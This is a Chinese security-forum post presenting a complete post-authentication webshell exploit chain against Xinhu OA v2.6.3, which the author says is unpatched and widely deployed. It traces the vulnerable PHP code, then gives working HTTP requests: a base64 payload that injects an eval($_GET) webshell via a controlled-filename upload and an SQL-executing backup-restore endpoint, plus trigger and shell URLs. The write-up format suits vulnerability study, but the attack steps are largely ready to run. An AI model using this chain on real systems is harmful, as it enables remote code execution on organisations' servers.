信呼OA后台GETSHELL
测试版本:v2.6.3(最新版)
前两天某天收洞,说奖金挺高,想着挖一挖赚点外快,审核说无法复现不收,不收就不收吧。

那我就提交cnvd,cnvd嫌我不写分析步骤不收驳回,那就不交了吧。

我寻思直接联系厂商修复吧。嗯厂商也是爱答不理。


我寻思这系统是没人用还是咋地,那fofa还将近6000的站点。

这是个组合拳sql注入拿token进后台getshell,因为前台注入没修就不写出来了。只分享个后台getshell。
写文章这不能也给我驳回了吧。

漏洞触发点-

Path: webmain/main/flow/flowAction.php
method: inputAction

public function inputAction()
    {
        $setid  = (int)$this->get('setid','0');
        if($this->setinputid>0)$setid = $this->setinputid;
        $atype  = $this->get('atype');

        $rs     = m('flow_set')->getone("`id`='$setid'");
        if(!$rs)exit('sorry!');
        ...........................
        ...........................


        $apaths     = ''.P.'/flow/input/mode_'.$modenum.'Action.php';
        $apath      = ''.ROOT_PATH.'/'.$apaths.'';
        if(!file_exists($apath)){
            $stra = '<?php
/**
*   此文件是流程模块【'.$modenum.'.'.$rs['name'].'】对应控制器接口文件。
*/ 
class mode_'.$modenum.'ClassAction extends inputAction{

    /**
    *   重写函数:保存前处理,主要用于判断是否可以保存
    *   $table String 对应表名
    *   $arr Array 表单参数
    *   $id Int 对应表上记录Id 0添加时,大于0修改时
    *   $addbo Boolean 是否添加时
    *   return array(\'msg\'=>\'错误提示内容\',\'rows\'=> array()) 可返回空字符串,或者数组 rows 是可同时保存到数据库上数组
    */
    protected function savebefore($table, $arr, $id, $addbo){

    }

    /**
    *   重写函数:保存后处理,主要保存其他表数据
    *   $table String 对应表名
    *   $arr Array 表单参数
    *   $id Int 对应表上记录Id
    *   $addbo Boolean 是否添加时
    */  
    protected function saveafter($table, $arr, $id, $addbo){

    }
}   
            ';
            $this->rock->createtxt($apaths, $stra);

        }
        if(!file_exists($apath))echo '<div style="background:red;color:white;padding:10px">无法创建文件:'.$apaths.',会导致录入数据无法保存,请手动创建!代码内容如下:</div><div style="background:#caeccb">&lt;?php<br>class mode_'.$modenum.'ClassAction extends inputAction<br>{<br>}</div>';
    }

看代码从数据库中获取数据然后写出文件到/flow/input/mode_'.$modenum.'Action.php。
$rs['name']、$modenum和都是从数据库中获取的,然后写出没有过滤可以造成代码执行。
利用方式:

  1. insert data -> flow_set数据库
  2. 执行inputAction 方法
  3. 代码执行

先找insert的地方

Insert FlowSet
path: webmain/flow/input/inputAction.php
method: saveAjax

在这里进行过滤
$befa   = $this->savebefore($table, $this->getsavenarr($uaarr, $oldrs), $id, $addbo);
.......
    public function flowsetsavebefore($table, $cans)
    {
        $tab = $cans['table'];
        $tabs= trim($cans['tables']);
        $names= trim($cans['names']);
        $name= $this->rock->xssrepstr($cans['name']);
        $num = strtolower($cans['num']);
        $cobj= c('check');
        if(!$cobj->iszgen($tab))return '表名格式不对';
        if($cobj->isnumber($num))return '编号不能为数字';
        if(strlen($num)<4)return '编号至少要4位';
        if($cobj->isincn($num))return '编号不能包含中文';
        if(contain($num,'-'))return '编号不能有-';

        if($cans['isflow']>0 && isempt($cans['sericnum'])) return '有流程必须有写编号规则,请参考其他模块填写';
        $rows['num']= $this->rock->xssrepstr($num); 
        $rows['name']= $name;
        if(!isempt($tabs)){
            if($cobj->isincn($tabs))return '多行子表名不能包含中文';
            $tabsa      = explode(',', $tabs);
            $namea      = explode(',', $names);
            foreach($tabsa as $k1=>$tabsas){
                if(isempt($tabsas))return '多行子表名('.$tabs.')不规范';
                if(isempt(arrvalue($namea, $k1)))return '第'.($k1+1).'个多行子表名称必须填写';
            }
        }
        $rows['tables']= $tabs;
        if($cans['where'])$rows['where'] = htmlspecialchars_decode($cans['where']);
        return array(
            'rows' => $rows
        );
    }
-----------
$name= $this->rock->xssrepstr($cans['name']);
$rows['num']= $this->rock->xssrepstr($num); 
    public function xssrepstr($str)
    {
        $xpd  = explode(',','(,), , ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\'');
        $xpd[]= "\n";
        return str_ireplace($xpd, '', $str);
    }

可以看到insert对数据检测非常严格,而我们想要代码执行*/、()是必须的。所以这条路是走不通的。

  • 柳暗花明又一村

后面翻代码注意到可以执行sql语句。那我们组合一下,直接通过sql语句insert然后就可以绕过输入检测。
path: webmain/system/beifen/beifenAction.php
method: huifdatanewAjax

public function huifdatanewAjax()
    {
        if(getconfig('systype')=='demo')exit();
        if($this->adminid!=1)return '只有ID=1的管理员才可以用';
        $folder = $this->post('folder');
        $sida   = explode(',', $this->post('sid'));
        $alltabls   = $this->db->getalltable();
        $shul   = 0;
        $tablss = '';
        foreach($sida as $id){
            $ids    = substr($id,0,-5);
            $ida    = explode('_', $ids);
            $len    = count($ida);
            $fieldshu = $ida[$len-2];
            $total  = $ida[$len-1];
            $tab    = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表

            $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';
            if(!file_exists($filepath))continue;

            $data     = m('beifen')->getbfdata('',$filepath);
            if(!$data)continue;

            $dataarr    = $data[$tab];

            //表不存在
            if(!in_array($tab, $alltabls)){
                $createsql = arrvalue($dataarr, 'createsql');
                if($createsql){
                    $this->db->query($createsql, false);
                }else{
                    continue;
                }
            }

该method 通过从文件中获取数据,然后执行sql语句

既然是在后台找个文件上传不很简单,但问题来了

$sida   = explode(',', $this->post('sid'));
foreach($sida as $id){

            $tab    = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表
            $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';
            if(!file_exists($filepath))continue;
            $data     = m('beifen')->getbfdata('',$filepath); //json_decode文件内容
            if(!$data)continue;
            $dataarr    = $data[$tab];
            //表不存在
            if(!in_array($tab, $alltabls)){
                $createsql = arrvalue($dataarr, 'createsql');
                if($createsql){
                    $this->db->query($createsql, false);
                }else{
                    continue;
                }
            }

1、首先获取文件内容json_decode后储存到$data变量
2、获取$data[$tab]中的数据,$tab是我们上传的文件名
3、然后判断数据库中没有$tab这个table。
4、获取$data[$tab]['createsql']执行query。
其他都可控主要上传的图片文件名都是随机的。想要执行sql语句就必须控制文件名。
如:上传文件返回随机文件名asdasdasdsad.png,那么文件内容必须为
{"asdasdasdsad.png":{"createsql":"select 1"}}
我们无法提前预知生成的文件名,那这条路也嘎bi了。

  • 柳暗花明又又一村

通过翻阅代码发现一处上传点,可控文件名。

path: webmain/task/openapi/openkqjAction.php
method: apiAction

public function apiAction()
    {
        ................
        $acta   = explode('?', $patha[count($patha)-1]);
        $act    = $acta[0];
        $data   = array();
        $num    = $this->get('sn'); //设备号
        if(!$num)return 'notdata';
        $dbs    = m('kqjsn');
        $snid   = (int)$dbs->getmou('id',"`num`='$num'");
        if($snid==0)$snid = $dbs->insert(array(
            'num' => $num,
            'optdt' => $this->rock->now,
            'status' => 1
        ));

        $this->snid = $snid;
        .......................
        //推送来的
        if($act=='post' && $this->postdata!=''){
            $data= m('kqjcmd')->postdata($this->snid, $this->postdata);
        }

当$act='post' ,postdata不为空
进入 m('kqjcmd')->postdata

public function postdata($snid, $dstr)
    {
        $this->rock->debugs($dstr,'postkqj_'.$snid.'_');
        $barr = json_decode($dstr, true);
        $carr = array();
        $uids = $dids = '';
        $snrs = $this->getsninfo($snid);
        if($barr)foreach($barr as $k=>$rs){
            $dtype = arrvalue($rs, 'data'); //数据类型
            ................
//推送来的头像
            if($dtype=='headpic'){
                $this->saveheadpic($snid, $rs['ccid'], $rs['headpic']);
            }

当json_decode(postdata)['data'] == 'headpic'时
进入$this->saveheadpic

private function saveheadpic($snid, $uid, $headpic, $face='')
    {
        $where = "`snid`='$snid' and `uid`='$uid'";
        if(isempt($face)){
            if(isempt($headpic))return;
            $face  = ''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'; //头像保存为图片
            $this->rock->createtxt($face, base64_decode($headpic));
        }
        $arr['headpic'] = $face;
        if($this->kquobj->rows($where)==0){
            $where = '';
            $arr['snid'] = $snid;
            $arr['uid']  = $uid;
        }
        $this->kquobj->record($arr, $where);
    }

在saveheadpic中,3个参数都是可控的,从而拿到可控文件名的上传点。

1、apiAction,$act=='post' && $this->postdata!='',进入m('kqjcmd')->postdata
2、postdata,json_decode(postdata)['data']== 'headpic',进入$this->saveheadpic
3、$this->saveheadpic写出文件到''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'

那么开始漏洞利用

Exploit
1、首先insert一条flowset数据(ps:直接用sql insert太麻烦了直接正常构造一个正常数据,然后sql update)

记录id,163

2、构造执行sql语句的payload

id=前面记录的id
createsql为执行的sql语句
kqj1_u1.jpg为上传的可控文件名

3、Openkqj->postdata->headpic 上传可控文件名文件
headpic为前面构造的payload,base64编码

POST /index.php/post?d=task&m=openkqj|openapi&a=api&sn=1 HTTP/1.1

{"aasd":{
"data":"headpic",
"id":"1",
"headpic":"eyJrcWoxX3UxLmpwZyI6eyJjcmVhdGVzcWwiOiJ1cGRhdGUgeGluaHVfZmxvd19zZXQgc2V0IG5hbWU9XCIqXC9ldmFsKCRfR0VUWydwd2EnXSk7XC8qXCIgIHdoZXJlIGlkPTE2MzsifX0=",
"ccid":"1"}}


上传成功

4、执行sql语句
/index.php?a=huifdatanew&d=system&m=beifen&ajaxbool=true
post
folder=.*/./face&sid=kqj1_u1.jpg

5、触发漏洞
/index.php?a=input&m=flow&d=main&id=0&setid=163
setid为第一步返回的id


执行成功访问shell
shell地址:/webmain/flow/input/mode_test123Action.php?pwa=phpinfo();
Shell地址2:/?d=flow&m=mode_test123|input&pwa=phpinfo();

mode_test123Action.php = model_模块编号Action.php

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖